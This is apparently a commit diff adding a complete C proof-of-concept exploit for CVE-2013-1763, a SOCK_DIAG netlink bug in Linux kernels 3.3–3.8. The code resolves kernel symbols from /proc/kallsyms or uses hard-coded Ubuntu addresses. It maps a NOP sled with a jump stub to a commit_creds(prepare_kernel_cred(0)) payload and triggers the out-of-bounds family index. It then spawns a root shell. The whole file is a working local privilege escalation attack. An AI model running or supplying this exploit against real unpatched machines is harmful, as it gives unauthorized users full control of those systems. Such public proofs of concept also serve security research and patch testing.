1
+ /*
2
+ * quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
3
+ * bug found by Spender
4
+ * poc by SynQ
5
+ *
6
+ * hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
7
+ * using nl_table->hash.rehash_time, index 81
8
+ *
9
+ * Fedora 18 support added
10
+ *
11
+ * 2/2013
12
+ */
13
+
14
+ #include <unistd.h>
15
+ #include <sys/socket.h>
16
+ #include <linux/netlink.h>
17
+ #include <netinet/tcp.h>
18
+ #include <errno.h>
19
+ #include <linux/if.h>
20
+ #include <linux/filter.h>
21
+ #include <string.h>
22
+ #include <stdio.h>
23
+ #include <stdlib.h>
24
+ #include <linux/sock_diag.h>
25
+ #include <linux/inet_diag.h>
26
+ #include <linux/unix_diag.h>
27
+ #include <sys/mman.h>
28
+
29
+ typedef int __attribute__ ((regparm (3 ))) (* _commit_creds )(unsigned long cred );
30
+ typedef unsigned long __attribute__((regparm (3 ))) (* _prepare_kernel_cred )(unsigned long cred );
31
+ _commit_creds commit_creds ;
32
+ _prepare_kernel_cred prepare_kernel_cred ;
33
+ unsigned long sock_diag_handlers , nl_table ;
34
+
35
+ int __attribute__((regparm (3 )))
36
+ kernel_code ()
37
+ {
38
+ commit_creds (prepare_kernel_cred (0 ));
39
+ return -1 ;
40
+ }
41
+
42
+ int jump_payload_not_used (void * skb , void * nlh )
43
+ {
44
+ asm volatile (
45
+ "mov $kernel_code, %eax\n"
46
+ "call *%eax\n"
47
+ );
48
+ }
49
+
50
+ unsigned long
51
+ get_symbol (char * name )
52
+ {
53
+ FILE * f ;
54
+ unsigned long addr ;
55
+ char dummy , sym [512 ];
56
+ int ret = 0 ;
57
+
58
+ f = fopen ("/proc/kallsyms" , "r" );
59
+ if (!f ) {
60
+ return 0 ;
61
+ }
62
+
63
+ while (ret != EOF ) {
64
+ ret = fscanf (f , "%p %c %s\n" , (void * * ) & addr , & dummy , sym );
65
+ if (ret == 0 ) {
66
+ fscanf (f , "%s\n" , sym );
67
+ continue ;
68
+ }
69
+ if (!strcmp (name , sym )) {
70
+ printf ("[+] resolved symbol %s to %p\n" , name , (void * ) addr );
71
+ fclose (f );
72
+ return addr ;
73
+ }
74
+ }
75
+ fclose (f );
76
+
77
+ return 0 ;
78
+ }
79
+
80
+ int main (int argc , char * argv [])
81
+ {
82
+ int fd ;
83
+ unsigned family ;
84
+ struct {
85
+ struct nlmsghdr nlh ;
86
+ struct unix_diag_req r ;
87
+ } req ;
88
+ char buf [8192 ];
89
+
90
+ if ((fd = socket (AF_NETLINK , SOCK_RAW , NETLINK_SOCK_DIAG )) < 0 ){
91
+ printf ("Can't create sock diag socket\n" );
92
+ return -1 ;
93
+ }
94
+
95
+ memset (& req , 0 , sizeof (req ));
96
+ req .nlh .nlmsg_len = sizeof (req );
97
+ req .nlh .nlmsg_type = SOCK_DIAG_BY_FAMILY ;
98
+ req .nlh .nlmsg_flags = NLM_F_ROOT |NLM_F_MATCH |NLM_F_REQUEST ;
99
+ req .nlh .nlmsg_seq = 123456 ;
100
+
101
+ //req.r.sdiag_family = 89;
102
+ req .r .udiag_states = -1 ;
103
+ req .r .udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN ;
104
+
105
+ if (argc == 1 ){
106
+ printf ("Run: %s Fedora|Ubuntu\n" ,argv [0 ]);
107
+ return 0 ;
108
+ }
109
+ else if (strcmp (argv [1 ],"Fedora" )== 0 ){
110
+ commit_creds = (_commit_creds ) get_symbol ("commit_creds" );
111
+ prepare_kernel_cred = (_prepare_kernel_cred ) get_symbol ("prepare_kernel_cred" );
112
+ sock_diag_handlers = get_symbol ("sock_diag_handlers" );
113
+ nl_table = get_symbol ("nl_table" );
114
+
115
+ if (!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table ){
116
+ printf ("some symbols are not available!\n" );
117
+ exit (1 );
118
+ }
119
+
120
+ family = (nl_table - sock_diag_handlers ) / 4 ;
121
+ printf ("family=%d\n" ,family );
122
+ req .r .sdiag_family = family ;
123
+
124
+ if (family > 255 ){
125
+ printf ("nl_table is too far!\n" );
126
+ exit (1 );
127
+ }
128
+ }
129
+ else if (strcmp (argv [1 ],"Ubuntu" )== 0 ){
130
+ commit_creds = (_commit_creds ) 0xc106bc60 ;
131
+ prepare_kernel_cred = (_prepare_kernel_cred ) 0xc106bea0 ;
132
+ req .r .sdiag_family = 81 ;
133
+ }
134
+
135
+ unsigned long mmap_start , mmap_size ;
136
+ mmap_start = 0x10000 ;
137
+ mmap_size = 0x120000 ;
138
+ printf ("mmapping at 0x%lx, size = 0x%lx\n" , mmap_start , mmap_size );
139
+
140
+ if (mmap ((void * )mmap_start , mmap_size , PROT_READ |PROT_WRITE |PROT_EXEC ,
141
+ MAP_PRIVATE |MAP_FIXED |MAP_ANONYMOUS , -1 , 0 ) == MAP_FAILED ) {
142
+ printf ("mmap fault\n" );
143
+ exit (1 );
144
+ }
145
+ memset ((void * )mmap_start , 0x90 , mmap_size );
146
+
147
+ char jump [] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3" ; // jump_payload in asm
148
+ unsigned long * asd = & jump [4 ];
149
+ * asd = (unsigned long )kernel_code ;
150
+
151
+ memcpy ( (void * )mmap_start + mmap_size - sizeof (jump ), jump , sizeof (jump ));
152
+
153
+ if ( send (fd , & req , sizeof (req ), 0 ) < 0 ) {
154
+ printf ("bad send\n" );
155
+ close (fd );
156
+ return -1 ;
157
+ }
158
+
159
+ printf ("uid=%d, euid=%d\n" ,getuid (), geteuid () );
160
+
161
+ if (!getuid ())
162
+ system ("/bin/sh" );
163
+
164
+ }
0 commit comments